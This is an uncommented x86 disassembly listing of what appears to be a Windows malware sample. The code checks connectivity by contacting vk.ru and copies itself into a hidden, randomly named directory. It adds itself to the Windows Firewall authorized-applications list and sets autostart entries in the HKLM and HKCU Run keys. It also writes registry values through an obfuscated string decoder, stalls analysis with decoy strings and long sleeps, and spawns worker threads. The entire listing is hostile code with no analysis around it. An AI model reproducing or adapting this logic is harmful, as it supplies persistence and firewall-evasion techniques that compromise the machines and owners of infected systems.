call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10e0]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10e0]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov edx, dword [ebp - 0x10e0]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
mov dword [ebp - 0x10fc], 0x22
mov dword [ebp - 0x10ec], 0x3c
mov eax, dword [ebp - 0x10fc]
add eax, dword [ebp - 0x10ec]
mov dword [ebp - 0x10f8], eax
cmp dword [ebp - 0x10f8], 0x1f4
jge 0x403c5e
push 0
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1100], eax
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10f4], eax
cmp dword [ebp - 0x10f4], 0
je 0x403b76
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov ecx, dword [ebp - 0x10f4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10e8], eax
cmp dword [ebp - 0x10e8], 0
je 0x403b61
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.24524h4fbh24bfhf4hb24f
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x10e8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10f4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1100], 0
je 0x403c5e
mov ecx, dword [ebp - 0x1100]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
mov edx, dword [ebp - 0x1100]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.24524h4fbh24bfhf4hb24f
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1194
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10f4], eax
cmp dword [ebp - 0x10f4], 0
je 0x403c46
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov eax, dword [ebp - 0x10f4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10e8], eax
cmp dword [ebp - 0x10e8], 0
je 0x403c2e
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4b53b5b4m52m5m45b45m45
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x10e8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10f4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.4b53b5b4m52m5m45b45m45
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x10f0], 0x9c40
mov dword [ebp - 0x10e4], 0x8fc
mov eax, dword [ebp - 0x10f0]
cmp eax, dword [ebp - 0x10e4]
jbe 0x403cb8
push 0
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1104], eax
cmp dword [ebp - 0x1104], 0
je 0x403cb6
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x10e4]
add ecx, 1
mov dword [ebp - 0x10e4], ecx
jmp 0x403c72
mov dword [ebp - 0x1108], 0
jmp 0x403cd3
mov edx, dword [ebp - 0x1108]
add edx, 1
mov dword [ebp - 0x1108], edx
cmp dword [ebp - 0x1108], 0x2328
jge 0x403cf1
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x403cc4
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403d10
push str.24b5m42b46b42bm24b5b245m
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.24524h4fbh24bfhf4hb24f
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10dc], eax
cmp dword [ebp - 0x10dc], 0
je 0x403da3
push 1
mov eax, dword [ebp - 0x10e0]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.24b5m42b46b42bm24b5b245m
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
mov ecx, dword [ebp - 0x10e0]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wf4wfwfw4fwg4g4g4wg4w
push str.4o4pp45udtdtt3t3tdtf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
mov edx, dword [ebp - 0x10e0]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, dword [ebp - 0x10e0]
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
mov ecx, dword [ebp - 0x4c4]
add ecx, 1
mov dword [ebp - 0x4c4], ecx
jmp 0x403983
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x110c], 0
jmp 0x403ddd
mov edx, dword [ebp - 0x110c]
add edx, 1
mov dword [ebp - 0x110c], edx
cmp dword [ebp - 0x110c], 3
jae 0x4044b6
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0xa8c], 0x233c
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0xa8c]
jae 0x404224
push 0
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1114], eax
cmp dword [ebp - 0x1114], 0
je 0x40415e
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1128], eax
cmp dword [ebp - 0x1128], 0
je 0x403ebf
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov ecx, dword [ebp - 0x1128]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x111c], eax
cmp dword [ebp - 0x111c], 0
je 0x403ea7
push 0x9c40
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x111c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1128]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ecx, dword [ebp - 0x1114]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov edx, dword [ebp - 0x1114]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1114]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1114]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov edx, dword [ebp - 0x1114]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
mov dword [ebp - 0x1130], 0x14
mov dword [ebp - 0x1120], 0x28
mov eax, dword [ebp - 0x1130]
add eax, dword [ebp - 0x1120]
mov dword [ebp - 0x112c], eax
cmp dword [ebp - 0x112c], 0x1f4
jge 0x4040cb
push 0
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1134], eax
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1128], eax
cmp dword [ebp - 0x1128], 0
je 0x403ff1
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov ecx, dword [ebp - 0x1128]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x111c], eax
cmp dword [ebp - 0x111c], 0
je 0x403fdc
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.24524h4fbh24bfhf4hb24f
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x111c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1128]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1134], 0
je 0x4040cb
mov ecx, dword [ebp - 0x1134]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
mov edx, dword [ebp - 0x1134]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.24524h4fbh24bfhf4hb24f
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1194
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1128], eax
cmp dword [ebp - 0x1128], 0
je 0x4040be
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov eax, dword [ebp - 0x1128]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x111c], eax
cmp dword [ebp - 0x111c], 0
je 0x4040a9
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4b53b5b4m52m5m45b45m45
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x111c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1128]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x1124], 0xe6
mov dword [ebp - 0x1118], 0xbbd
mov eax, dword [ebp - 0x1124]
cmp eax, dword [ebp - 0x1118]
jbe 0x404125
push 0
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1138], eax
cmp dword [ebp - 0x1138], 0
je 0x404123
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x1118]
add ecx, 1
mov dword [ebp - 0x1118], ecx
jmp 0x4040df
mov dword [ebp - 0x113c], 0
jmp 0x404140
mov edx, dword [ebp - 0x113c]
add edx, 1
mov dword [ebp - 0x113c], edx
cmp dword [ebp - 0x113c], 0x2328
jge 0x40415e
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x404131
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40417d
push str.24b5m42b46b42bm24b5b245m
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.24524h4fbh24bfhf4hb24f
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1110], eax
cmp dword [ebp - 0x1110], 0
je 0x404210
push 1
mov eax, dword [ebp - 0x1114]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.24b5m42b46b42bm24b5b245m
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
mov ecx, dword [ebp - 0x1114]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.24b5m42b46b42bm24b5b245m
push str.4b53b5b4m52m5m45b45m45
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov edx, dword [ebp - 0x1114]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, dword [ebp - 0x1114]
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
mov ecx, dword [ebp - 0x4c4]
add ecx, 1
mov dword [ebp - 0x4c4], ecx
jmp 0x403e09
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
push 0
lea edx, [ebp - 0x418]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp - 0x110c]
mov edx, dword [ebp + ecx*4 - 0x1078]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x418]
push edx
push str._ls_d_d_d
lea eax, [ebp - 0xc98]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea ecx, [ebp - 0xa88]
push ecx
lea edx, [ebp - 0xc98]
push edx
push str._ls_ls
lea eax, [ebp - 0xfc8]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0xc98]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x4044b1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebp - 0xfc8]
push edx
lea eax, [ebp - 0x708]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x4044b1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x4b8]
push ecx
lea edx, [ebp - 0xfc8]
push edx
push str._ls::Enabled:_ls
lea eax, [ebp - 0xa40]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 7
lea ecx, [ebp - 0xc98]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 7
lea edx, [ebp - 0xfc8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x70c]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4043ce
lea ecx, [ebp - 0xa40]
push ecx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0xa40]
push eax
push 1
push 0
lea ecx, [ebp - 0xfc8]
push ecx
mov edx, dword [ebp - 0x70c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x70c]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404430
lea edx, [ebp - 0xfc8]
push edx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0xfc8]
push ecx
push 1
push 0
lea edx, [ebp - 0x4b8]
push edx
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x70c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x70c]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404492
lea eax, [ebp - 0xfc8]
push eax
call sub.MSVCRT.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0xfc8]
push edx
push 1
push 0
lea eax, [ebp - 0x4b8]
push eax
mov ecx, dword [ebp - 0x70c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x70c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xfc8]
push eax
call fcn.004025b0
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x4044b1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x403dce
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x70c]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x750]
push eax
call fcn.00402660
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404655
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x500]
push edx
call fcn.00402660
add esp, 4
push eax
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0x70c]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x1028]
push edx
call fcn.00402660
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40457a
push 0
lea eax, [ebp - 0x70c]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea ecx, [ebp - 0x1028]
push ecx
call fcn.00402660
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea edx, [ebp - 0x70c]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x1028]
push eax
call fcn.00402660
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404648
lea ecx, [ebp - 0xa5c]
push ecx
call fcn.00402660
add esp, 4
lea edx, [ebp - 0x46c]
push edx
call fcn.00402660
add esp, 4
lea eax, [ebp - 0xdbc]
push eax
call fcn.00402660
add esp, 4
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xa5c]
push edx
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x46c]
push edx
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xdbc]
push edx
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x70c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x70c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x70c]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x43c]
push ecx
call fcn.00402660
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40475e
lea edx, [ebp - 0x720]
push edx
call fcn.00402660
add esp, 4
lea eax, [ebp - 0x1068]
push eax
call fcn.00402660
add esp, 4
lea ecx, [ebp - 0x450]
push ecx
call fcn.00402660
add esp, 4
lea edx, [ebp - 0xfe0]
push edx
call fcn.00402660
add esp, 4
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x720]
push ecx
mov edx, dword [ebp - 0x70c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x1068]
push ecx
mov edx, dword [ebp - 0x70c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x450]
push ecx
mov edx, dword [ebp - 0x70c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xfe0]
push ecx
mov edx, dword [ebp - 0x70c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x70c]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x1050]
push edx
call fcn.00402660
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404867
lea eax, [ebp - 0x720]
push eax
call fcn.00402660
add esp, 4
lea ecx, [ebp - 0x1068]
push ecx
call fcn.00402660
add esp, 4
lea edx, [ebp - 0x450]
push edx
call fcn.00402660
add esp, 4
lea eax, [ebp - 0xfe0]
push eax
call fcn.00402660
add esp, 4
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x720]
push edx
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x1068]
push edx
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x450]
push edx
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xfe0]
push edx
mov eax, dword [ebp - 0x70c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x70c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401560
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x402480
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1140], 0
jmp 0x4048d5
mov edx, dword [ebp - 0x1140]
add edx, 1
mov dword [ebp - 0x1140], edx
cmp dword [ebp - 0x1140], 0x3a
jae 0x404985
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1144], 0
jmp 0x404905
mov eax, dword [ebp - 0x1144]
add eax, 1
mov dword [ebp - 0x1144], eax
cmp dword [ebp - 0x1144], 5
jae 0x404980
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1144]
mov edx, dword [ebp + ecx*4 - 0xa70]
push edx
mov eax, dword [ebp - 0x1140]
mov ecx, dword [ebp + eax*4 - 0x838]
push ecx
push str._s_s
lea edx, [ebp - 0xda0]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp - 0x1144]
lea ecx, [ebp + eax*4 - 0x4ec]
push ecx
lea edx, [ebp - 0xda0]
push edx
call fcn.00402890
add esp, 8
movzx eax, al
cmp eax, 1
jne 0x40497b
lea ecx, [ebp - 0xda0]
push ecx
call fcn.004018f0
add esp, 4
jmp 0x4048f6
jmp 0x4048c6
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 0xf
add edx, 0x2710
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4048b2